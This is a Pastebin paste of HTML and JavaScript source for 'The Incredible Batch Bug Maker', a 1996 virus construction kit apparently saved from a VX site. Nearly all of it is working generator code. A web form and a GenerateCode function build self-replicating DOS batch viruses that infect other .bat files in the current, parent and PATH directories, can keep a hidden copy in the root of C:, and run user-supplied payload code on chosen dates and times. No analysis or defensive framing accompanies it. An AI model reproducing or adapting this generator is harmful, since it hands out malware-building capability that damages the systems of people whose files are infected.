Advertisement
FlyFar

Constructor.DOS.IBBM.a. - Source Code

Jun 16th, 2023 (edited)
620
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 14.00 KB | Cybersecurity | 0 0
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <!-- saved from url=(0059)http://vx.netlux.org/dl/vir/Constructor.DOS.IBBM.a?x=8&y=20 -->
  3. <HTML><HEAD><TITLE>BBM</TITLE>
  4. <META http-equiv=Content-Type content="text/html; charset=windows-1250">
  5. <SCRIPT>
  6.  
  7.  
  8. //<plaintext>
  9.  
  10.  
  11.  
  12.  
  13.  
  14. //
  15.  
  16.  
  17. //  The Incredible Batch Bug Maker
  18.  
  19.  
  20. //  For Netscape 2 w/ JavaScript
  21.  
  22.  
  23. //  DOS 6 compatible output only!
  24.  
  25.  
  26. //
  27.  
  28.  
  29.  
  30.  
  31.  
  32. // define our vars...
  33.  
  34.  
  35. // (so netscape won't freak)
  36.  
  37.  
  38. var method=0;
  39.  
  40.  
  41. var search=0;
  42.  
  43.  
  44. var name="";
  45.  
  46.  
  47. var key="";
  48.  
  49.  
  50. var infects="";
  51.  
  52.  
  53. var seeks="";
  54.  
  55.  
  56. var findhost=false;
  57.  
  58.  
  59. var usecopy=false;  
  60.  
  61.  
  62. var hidecopy=false;
  63.  
  64.  
  65. var echoblank=false;
  66.  
  67.  
  68. var codewindow=false;
  69.  
  70.  
  71. var comment="";
  72.  
  73.  
  74. var tmatch1="";
  75.  
  76.  
  77. var tmatch2="";
  78.  
  79.  
  80. var dmatch1="";
  81.  
  82.  
  83. var dmatch2="";
  84.  
  85.  
  86. var addcode="";
  87.  
  88.  
  89.  
  90.  
  91.  
  92. // default variables...
  93.  
  94.  
  95. function Reset(vars) {
  96.  
  97.  
  98.  findhost=false;
  99.  
  100.  
  101.  usecopy=true;
  102.  
  103.  
  104.  hidecopy=false;
  105.  
  106.  
  107.  echoblank=true;
  108.  
  109.  
  110.  codewindow=true;
  111.  
  112.  
  113.  with (document) {
  114.  
  115.  
  116.   vars.Method.options[0].selected=true;
  117.  
  118.  
  119.   vars.Search.options[0].selected=true;
  120.  
  121.  
  122.   vars.Name.value = "gobbm";
  123.  
  124.  
  125.   vars.Key.value = "BuG!";
  126.  
  127.  
  128.   vars.Infects.value = 1;
  129.  
  130.  
  131.   vars.Seeks.value = 20;
  132.  
  133.  
  134.   vars.FindHost.checked=findhost;
  135.  
  136.  
  137.   vars.UseCopy.checked=usecopy;
  138.  
  139.  
  140.   vars.HideCopy.checked=hidecopy;
  141.  
  142.  
  143.   vars.EchoBlank.checked=echoblank;
  144.  
  145.  
  146.   vars.CodeWindow.checked=codewindow;
  147.  
  148.  
  149.   vars.Comment.value="";
  150.  
  151.  
  152.   vars.AddCode.value="";
  153.  
  154.  
  155.   vars.TMatch1.value="";
  156.  
  157.  
  158.   vars.TMatch2.value="";
  159.  
  160.  
  161.   vars.DMatch1.value="";
  162.  
  163.  
  164.   vars.DMatch2.value="";
  165.  
  166.  
  167.  }
  168.  
  169.  
  170. }
  171.  
  172.  
  173.  
  174.  
  175.  
  176. function WinOpen(something) {
  177.  
  178.  
  179.  msg=open(something,"DisplayWindow",
  180.  
  181.  
  182.   "toolbar=no,directories=no,menubar=no,scrollbars=yes,resizable=yes");
  183.  
  184.  
  185.  codewindow=true;
  186.  
  187.  
  188.  return msg;
  189.  
  190.  
  191. }
  192.  
  193.  
  194. function write(stuff) {
  195.  
  196.  
  197.  if (codewindow) msg.document.writeln(stuff);
  198.  
  199.  
  200.   else document.writeln(stuff);
  201.  
  202.  
  203. }
  204.  
  205.  
  206. function wr(stuff) {
  207.  
  208.  
  209.  if (codewindow) msg.document.write(stuff);
  210.  
  211.  
  212.   else document.write(stuff);
  213.  
  214.  
  215. }
  216.  
  217.  
  218.  
  219.  
  220.  
  221. function MakeBug(vars) {
  222.  
  223.  
  224.  method=0;
  225.  
  226.  
  227.  search=0;
  228.  
  229.  
  230.  for (var i=0; i<4; i++) if (vars.Method.options[i].selected) method=i;
  231.  
  232.  
  233. for (var i=0; i<4; i++) if (vars.Search.options[i].selected) search=i;
  234.  
  235.  
  236. name=vars.Name.value;
  237.  
  238.  
  239. key=vars.Key.value;
  240.  
  241.  
  242. comment=vars.Comment.value;
  243.  
  244.  
  245. infects=vars.Infects.value;
  246.  
  247.  
  248. seeks=vars.Seeks.value;
  249.  
  250.  
  251. findhost=vars.FindHost.checked;
  252.  
  253.  
  254. usecopy=vars.UseCopy.checked;
  255.  
  256.  
  257. hidecopy=vars.HideCopy.checked;
  258.  
  259.  
  260. echoblank=vars.EchoBlank.checked;
  261.  
  262.  
  263. codewindow=vars.CodeWindow.checked;
  264.  
  265.  
  266. comment=vars.Comment.value;
  267.  
  268.  
  269. tmatch1=vars.TMatch1.value;
  270.  
  271.  
  272. tmatch2=vars.TMatch2.value;
  273.  
  274.  
  275. dmatch1=vars.DMatch1.value;
  276.  
  277.  
  278. dmatch2=vars.DMatch2.value;
  279.  
  280.  
  281. addcode=vars.AddCode.value;
  282.  
  283.  
  284. if (codewindow) var msg=WinOpen("");
  285.  
  286.  
  287. if (method==0 && findhost)
  288.  
  289.  
  290.   write("<h3>Error - Appending types cannot find host</h3>");
  291.  
  292.  
  293.  else if (method==0 && !usecopy)
  294.  
  295.  
  296.   write("<h3>Error - Appending types must use copy</h3>");
  297.  
  298.  
  299.  else if (key=="" || name=="")
  300.  
  301.  
  302.    write("<h3>Error - Must have Key and SubString entries</h3>");
  303.  
  304.  
  305.  else if (name.indexOf(key)>=0)
  306.  
  307.  
  308.    write("<h3>Error - Key cannot be in SubString</h3>");
  309.  
  310.  
  311.  else {
  312.  
  313.  
  314.   wr("<pre>");
  315.  
  316.  
  317.   GenerateCode();
  318.  
  319.  
  320.   wr("</pre><hr>");
  321.  
  322.  
  323.  }
  324.  
  325.  
  326.  if (codewindow) {
  327.  
  328.  
  329.   wr("<form>");
  330.  
  331.  
  332.   wr("<input type='button' value='Close' onclick='close()'>");
  333.  
  334.  
  335.   wr("</form>");
  336.  
  337.  
  338.  }
  339.  
  340.  
  341. }
  342.  
  343.  
  344. function GenerateCode() {
  345.  
  346.  
  347.  var type=method+1;
  348.  
  349.  
  350.  var mask="*.bat";
  351.  
  352.  
  353.  var dopath=0;
  354.  
  355.  
  356.  if (search==1) mask="*.bat ..\\*.bat";
  357.  
  358.  
  359.  if (search==2) mask="..\\*.bat *.bat";
  360.  
  361.  
  362.  if (search==3) {
  363.  
  364.  
  365.   mask=". .. %path%";
  366.  
  367.  
  368.   dopath=1;
  369.  
  370.  
  371.  }
  372.  
  373.  
  374.  var s_infects="";
  375.  
  376.  
  377.  if (parseInt(infects)>0)
  378.  
  379.  
  380.   for (var i=0; i<parseInt(infects); i++)
  381.  
  382.  
  383.   s_infects=s_infects+"1";
  384.  
  385.  
  386. var s_seeks="";
  387.  
  388.  
  389. if (parseInt(seeks)>0)
  390.  
  391.  
  392.   for (var i=0; i<parseInt(seeks); i++)
  393.  
  394.  
  395.   s_seeks=s_seeks+"1";
  396.  
  397.  
  398. var v1="%"+key+"%";
  399.  
  400.  
  401. if (usecopy) v1="c:\\_" + key;
  402.  
  403.  
  404. var v8="end";
  405.  
  406.  
  407. if (type==2) v8="xt";
  408.  
  409.  
  410. if (type==3 || type==4) {
  411.  
  412.  
  413.  write("@if '%_"+name+"%==' goto _"+name);
  414.  
  415.  
  416.  write("::**** HOST ****");
  417.  
  418.  
  419.  if (echoblank) write("");  
  420.  
  421.  
  422.  write("@if not '%_"+name+"%==' goto "+key+"end");
  423.  
  424.  
  425.  write(":_"+name+" "+key);
  426.  
  427.  
  428. }
  429.  
  430.  
  431. if (type==1) {
  432.  
  433.  
  434.  write("::**** HOST ****");
  435.  
  436.  
  437.  if (echoblank) write("");
  438.  
  439.  
  440. }
  441.  
  442.  
  443. if(comment!="") write("::"+key+" "+comment);
  444.  
  445.  
  446. write("@echo off%_"+key+"%");
  447.  
  448.  
  449. write("if '%1=='"+key+" goto "+key+"%2");
  450.  
  451.  
  452. write("set "+key+"=%0.bat");
  453.  
  454.  
  455. write("if not exist %"+key+"% set "+key+"=%0");
  456.  
  457.  
  458. write("if '%"+key+"%==' set "+key+"=autoexec.bat");
  459.  
  460.  
  461. if (type==3||type==4) write("set !"+key+"=%1 %2 %3 %4 %5 %6 %7 %8 %9");
  462.  
  463.  
  464. if (type==4) {
  465.  
  466.  
  467.  write("call %"+key+"% "+key+" rh");
  468.  
  469.  
  470.  write("set _"+name+"=>nul."+key);
  471.  
  472.  
  473.   write("set !"+key+"=");
  474.  
  475.  
  476.  }
  477.  
  478.  
  479.  if (usecopy) write("if exist c:\\_"+key+".bat goto "+key+"g");
  480.  
  481.  
  482.  if (findhost) {
  483.  
  484.  
  485.   write("if exist %"+key+"% goto "+key+"fe");
  486.  
  487.  
  488.   write("call %"+key+"% "+key+" h %path%");
  489.  
  490.  
  491.   write("if exist %"+key+"% goto "+key+"fe");
  492.  
  493.  
  494.   write("goto e"+key);
  495.  
  496.  
  497.   write(":"+key+"h");
  498.  
  499.  
  500.   write("shift%_"+key+"%");
  501.  
  502.  
  503.   write("if '%2==' goto "+key+v8);
  504.  
  505.  
  506.   write("if exist %2\\%"+key+" set "+key+"=%2\\%"+key+"%");
  507.  
  508.  
  509.   write("if exist %2%"+key+" set "+key+"=%2%"+key+"%");
  510.  
  511.  
  512.   write("if exist %2\\%"+key+".bat set "+key+"=%2\\%"+key+"%.bat");
  513.  
  514.  
  515.   write("if exist %2%"+key+".bat set "+key+"=%2%"+key+"%.bat");
  516.  
  517.  
  518.   write("if not exist %"+key+"% goto "+key+"h");
  519.  
  520.  
  521.   write("goto "+key+v8);
  522.  
  523.  
  524.   write(":"+key+"fe");
  525.  
  526.  
  527.  }
  528.  
  529.  
  530.  if (usecopy) {
  531.  
  532.  
  533.   if(!findhost) write("if not exist %"+key+"% goto e"+key);
  534.  
  535.  
  536.   write("find &quot;"+key+"&quot;&lt;%"+key+"%>c:\\_"+key+".bat");
  537.  
  538.  
  539.   if (hidecopy) write("attrib c:\\_"+key+".bat +h");
  540.  
  541.  
  542.   write(":"+key+"g");
  543.  
  544.  
  545.  }
  546.  
  547.  
  548.  if (!usecopy&&!findhost) write("if not exist %"+key+"% goto e"+key);
  549.  
  550.  
  551.  var v3="/e:5000 /c";
  552.  
  553.  
  554.  if (s_seeks=="" && s_infects=="") v3="/c";
  555.  
  556.  
  557.  if (s_seeks=="" && s_infects=="1") v3="/c";
  558.  
  559.  
  560.  if (dopath) write("command "+v3+" "+v1+" "+key+" vir "+mask);
  561.  
  562.  
  563.  if (!dopath) write("command "+v3+" "+v1+" "+key+" vir");
  564.  
  565.  
  566.  write(":e"+key);
  567.  
  568.  
  569.  var activate=false;
  570.  
  571.  
  572.  if (dmatch1!="") {
  573.  
  574.  
  575.   write("echo.|date|find &quot;"+dmatch1+"&quot;>nul."+key);
  576.  
  577.  
  578.   write("if errorlevel 1 goto na"+key);
  579.  
  580.  
  581.   activate=true;
  582.  
  583.  
  584.  }
  585.  
  586.  
  587.  if (dmatch2!="") {
  588.  
  589.  
  590.   write("echo.|date|find &quot;"+dmatch2+"&quot;>nul."+key);
  591.  
  592.  
  593.   write("if errorlevel 1 goto na"+key);
  594.  
  595.  
  596.   activate=true;
  597.  
  598.  
  599.  }
  600.  
  601.  
  602.  if (tmatch1!="") {
  603.  
  604.  
  605.   write("echo.|time|find &quot;"+tmatch1+"&quot;>nul."+key);
  606.  
  607.  
  608.   write("if errorlevel 1 goto na"+key);
  609.  
  610.  
  611.   activate=true;
  612.  
  613.  
  614.  }
  615.  
  616.  
  617.  if (tmatch2!="") {
  618.  
  619.  
  620.   write("echo.|time|find &quot;"+tmatch2+"&quot;>nul."+key);
  621.  
  622.  
  623.   write("if errorlevel 1 goto na"+key);
  624.  
  625.  
  626.   activate=true;
  627.  
  628.  
  629.  }
  630.  
  631.  
  632.  if (addcode.length>0) {
  633.  
  634.  
  635.   var fromchar=0;
  636.  
  637.  
  638.   var newln=0;
  639.  
  640.  
  641.   while(fromchar<addcode.length && newln>=0) {
  642.  
  643.  
  644.    var newln=addcode.indexOf("\r",fromchar)
  645.  
  646.  
  647.    if (newln>0) {
  648.  
  649.  
  650.     var subline=addcode.substring(fromchar,newln);
  651.  
  652.  
  653.     var sublow=subline.toLowerCase();
  654.  
  655.  
  656.     if (sublow.substring(0,1)==":" ||
  657.  
  658.  
  659.       sublow.indexOf("goto ")>=0)
  660.  
  661.  
  662.         subline=subline+" %_"+key+"%";
  663.  
  664.  
  665.     else subline=subline+"%_"+key+"%";
  666.  
  667.  
  668.     write(subline);
  669.  
  670.  
  671.     fromchar=newln+2;
  672.  
  673.  
  674.    }
  675.  
  676.  
  677.   }
  678.  
  679.  
  680.  } else if (activate) write ("::"+key+" *** activate code ***");
  681.  
  682.  
  683.  if (activate) write(":na"+key);
  684.  
  685.  
  686.  if (type==3) {
  687.  
  688.  
  689.   write("call %"+key+"% "+key+" rh");
  690.  
  691.  
  692.   write("set _"+name+"=>nul."+key);
  693.  
  694.  
  695.   write("set !"+key+"=");
  696.  
  697.  
  698.  }
  699.  
  700.  
  701.  write("set "+key+"=");
  702.  
  703.  
  704.  if ((!usecopy||findhost) && type==2) write("if exist \\!"+key+".bat del \\!"+key+".bat");
  705.  
  706.  
  707.  write("goto "+key+"end");
  708.  
  709.  
  710.  if ((!usecopy||findhost) && type==2) {
  711.  
  712.  
  713.  write(":"+key+"xt");
  714.  
  715.  
  716.   write("echo.>\\!"+key+".bat");
  717.  
  718.  
  719.   write("\\!"+key+".bat");
  720.  
  721.  
  722.  }
  723.  
  724.  
  725.  if (type==3||type==4) {
  726.  
  727.  
  728.   write(":"+key+"rh");
  729.  
  730.  
  731.   write("set _"+name+"=x%_"+key+"%");
  732.  
  733.  
  734.   write("%"+key+"% %!"+key+"%");
  735.  
  736.  
  737.  }
  738.  
  739.  
  740.  write(":"+key+"vir");
  741.  
  742.  
  743.  if (!dopath) {
  744.  
  745.  
  746.   write("for %%a in ("+mask+") do call "+v1+" "+key+" i %%a");
  747.  
  748.  
  749.   write("exit "+key);
  750.  
  751.  
  752.  } else {
  753.  
  754.  
  755.   write("shift%_"+key+"%");
  756.  
  757.  
  758.   write("if '%2==' exit %"+key+"%");
  759.  
  760.  
  761.   write("for %%a in (%2\\*.bat %2*.bat) do call "+v1+" "+key+" i %%a");
  762.  
  763.  
  764.   write("goto "+key+"vir");
  765.  
  766.  
  767.  }
  768.  
  769.  
  770.  write(":"+key+"i");
  771.  
  772.  
  773.  write("find &quot;"+key+"&quot;&lt;%3>nul");
  774.  
  775.  
  776.  var v2="ERR";
  777.  
  778.  
  779.  if (s_seeks=="") v2=key+"end";
  780.  
  781.  
  782.  if (type==2 && !usecopy) v2=key+"xt";
  783.  
  784.  
  785.  if (s_seeks!="") v2=key+"j";
  786.  
  787.  
  788.  write("if not errorlevel 1 goto "+v2);
  789.  
  790.  
  791.  var v2="type c:\\_"+key+".bat";
  792.  
  793.  
  794.  if (!usecopy) var v2="find &quot;"+key+"&quot;&lt;%"+key+"%";
  795.  
  796.  
  797.  if (type==1) {
  798.  
  799.  
  800.   write("type %3>"+key+"$");
  801.  
  802.  
  803.   if (echoblank) write("echo.>>"+key+"$");
  804.  
  805.  
  806.   write(v2+">>"+key+"$");
  807.  
  808.  
  809.  }
  810.  
  811.  
  812.  if (type==2) {
  813.  
  814.  
  815.   write(v2+">"+key+"$");
  816.  
  817.  
  818.   write("type %3>>"+key+"$");
  819.  
  820.  
  821.  }
  822.  
  823.  
  824.  if (type==3 || type==4) {
  825.  
  826.  
  827.   write("echo @if '%%_"+name+"%%==' goto _"+name+">"+key+"$");
  828.  
  829.  
  830.   write("type %3>>"+key+"$");
  831.  
  832.  
  833.   if (echoblank) write("echo.>>"+key+"$");
  834.  
  835.  
  836.   write(v2+">>"+key+"$");
  837.  
  838.  
  839.  }
  840.  
  841.  
  842.  write("move "+key+"$ %3>nul");
  843.  
  844.  
  845.  if (s_infects!="") {
  846.  
  847.  
  848.   if (s_infects=="1") write("exit "+key);
  849.  
  850.  
  851.   else {
  852.  
  853.  
  854.    write("set "+key+"#=%"+key+"#%1");
  855.  
  856.  
  857.    write("if %"+key+"#%=="+s_infects+" exit");
  858.  
  859.  
  860.   }
  861.  
  862.  
  863.  }
  864.  
  865.  
  866.  if (s_seeks!="") {
  867.  
  868.  
  869.   write(":"+key+"j");
  870.  
  871.  
  872.   write("set "+key+"!=%"+key+"#%1");
  873.  
  874.  
  875.   write("if %"+key+"!%=="+s_seeks+" exit");
  876.  
  877.  
  878.  }
  879.  
  880.  
  881.  if ((s_infects!="1" || s_seeks!="") && type==2 && usecopy==false)
  882.  
  883.  
  884.   write("goto "+key+"xt");
  885.  
  886.  
  887.  write(":"+key+"end");
  888.  
  889.  
  890.  if (type==2) write("::**** HOST ****");
  891.  
  892.  
  893. }
  894.  
  895.  
  896.  
  897.  
  898.  
  899. function Info() {
  900.  
  901.  
  902.  WinOpen("");
  903.  
  904.  
  905.  wr("<h1>The Incredible Batch Bug Maker</h1>");
  906.  
  907.  
  908.  wr("Makes DOS 6 compatible replicating batch files<br>");
  909.  
  910.  
  911.  wr("Produced March 27, 1996<br><br>");
  912.  
  913.  
  914.  wr("The Key String must be unique, the generated bug will not ");
  915.  
  916.  
  917.  wr("touch any batch containing this string. The Sub String is ");
  918.  
  919.  
  920.  wr("used in compound methods, it should also be unique. Infects ");
  921.  
  922.  
  923.  wr("per run is how many batches will be assimilated with each run ");
  924.  
  925.  
  926.  wr("of a bugged batch, if omitted all available batches are game. ");
  927.  
  928.  
  929.  wr("Max seeks is the maximum number of infected files skipped ");
  930.  
  931.  
  932.  wr("before giving up, if empty or NaN no limit checks are made. ");
  933.  
  934.  
  935.  wr("The Add Code box is for adding batch code that will run when ");
  936.  
  937.  
  938.  wr("all time and date conditions are satisfied, or every time if ");
  939.  
  940.  
  941.  wr("no conditions are entered. The condition strings simply match ");
  942.  
  943.  
  944.  wr("the output from the date and time commands. Three methods of ");  
  945.  
  946.  
  947.  wr("attachment are available: Appending simply tacks on the code, ");
  948.  
  949.  
  950.  wr("Inserting places the bug before the host, and Compound which ");
  951.  
  952.  
  953.  wr("uses a single inserted line then appends the rest. Compound ");
  954.  
  955.  
  956.  wr("Immediate runs the bug first, Compound Delayed runs the bug when ");
  957.  
  958.  
  959.  wr("the host completes. Search specifies the directories and order ");
  960.  
  961.  
  962.  wr("for seeking batch files (watch out for path!). Find Host tells ");
  963.  
  964.  
  965.  wr("it to generate code for seeking out the host batch even if run ");
  966.  
  967.  
  968.  wr("from the path (not available on appenders), Use Copy keeps a ");
  969.  
  970.  
  971.  wr("copy of the bug code in the root of C: (must be checked for ");
  972.  
  973.  
  974.  wr("appenders), Hidden hides the root copy, Echo Blank places an ");
  975.  
  976.  
  977.  wr("empty line between the host and any appended code to prevent ");
  978.  
  979.  
  980.  wr("errors with batches that have no final return. Send to Window ");
  981.  
  982.  
  983.  wr("opens a new browser window for the code to avoid trashing the ");
  984.  
  985.  
  986.  wr("form. To copy code to clipboard uncheck it, good for one shot. ");
  987.  
  988.  
  989.  wr("Resizing or reloading the form resets the data. Enjoy!");
  990.  
  991.  
  992.  wr("<form>");
  993.  
  994.  
  995.  wr("<input type='button' value='Close' onclick='close()'>");
  996.  
  997.  
  998.  wr("</form>");
  999.  
  1000.  
  1001. }
  1002.  
  1003.  
  1004. </SCRIPT>
  1005.  
  1006. <META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
  1007. <BODY text=#ff0000 vLink=#ff0000 aLink=#ff0000 link=#ff0000 bgColor=#000000
  1008. background="">
  1009. <CENTER>
  1010. <H1 align=center><FONT size=+3>Nightmare Joker </FONT></H1>
  1011. <H2 align=center><I>present's</I> </H2>
  1012. <H1>The Incredible Batch Bug Maker</H1>
  1013. <H2 align=center><I>coded by</I> </H2>
  1014. <H1 align=center>Wavefunc [Independant] </H1><BR>
  1015. <FORM name=vars>Key String: <INPUT maxLength=7 size=7 name=Key> � Comment:
  1016. <INPUT size=30 name=Comment><BR>Sub String: <INPUT maxLength=7 size=7 name=Name>
  1017. � Infects per run: <INPUT maxLength=2 size=2 name=Infects> � Max seeks per run:
  1018. <INPUT maxLength=2 size=2 name=Seeks><BR>Method: <SELECT name=Method> <OPTION
  1019.  selected>Appending<OPTION>Inserting<OPTION>Compound Immediate<OPTION>Compound
  1020.   Delayed</OPTION></SELECT> � Search: <SELECT name=Search> <OPTION
  1021.  selected>Current<OPTION>Current Parent<OPTION>Parent Current<OPTION>Current
  1022.   Parent Path</OPTION></SELECT><BR>Add Code: <TEXTAREA name=AddCode rows=3 cols=45></TEXTAREA><BR>Time Match: <INPUT size=7
  1023. name=TMatch1> <INPUT size=7 name=TMatch2> � Date Match: <INPUT size=7
  1024. name=DMatch1> <INPUT size=7 name=DMatch2><BR><BR><INPUT type=checkbox
  1025. name=FindHost> Find Host Batch � <INPUT type=checkbox name=UseCopy> Use Root
  1026. Copy � <INPUT type=checkbox name=HideCopy> Hide Copy<BR><INPUT type=checkbox
  1027. name=EchoBlank> Add blank line for safety � <INPUT type=checkbox
  1028. name=CodeWindow> Send output to window<BR><BR><INPUT onclick=MakeBug(this.form) type=button value="Make the Batch Bug">
  1029. <INPUT onclick=Reset() type=reset value=Reset> <INPUT onclick=Info() type=button value=Info> </FORM><BR><A
  1030. href="http://vx.netlux.org/dl/vir/index.htm"><FONT size=+3>BACK TO HOMEPAGE
  1031. </FONT></A>
  1032. <ADDRESS><BR><BR>Last Updated 03-Jan-97 <A
  1033. href="mailto:njoker@hotmail.com">njoker@hotmail.com</A> </ADDRESS></CENTER>g
  1034. </BODY></HTML>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement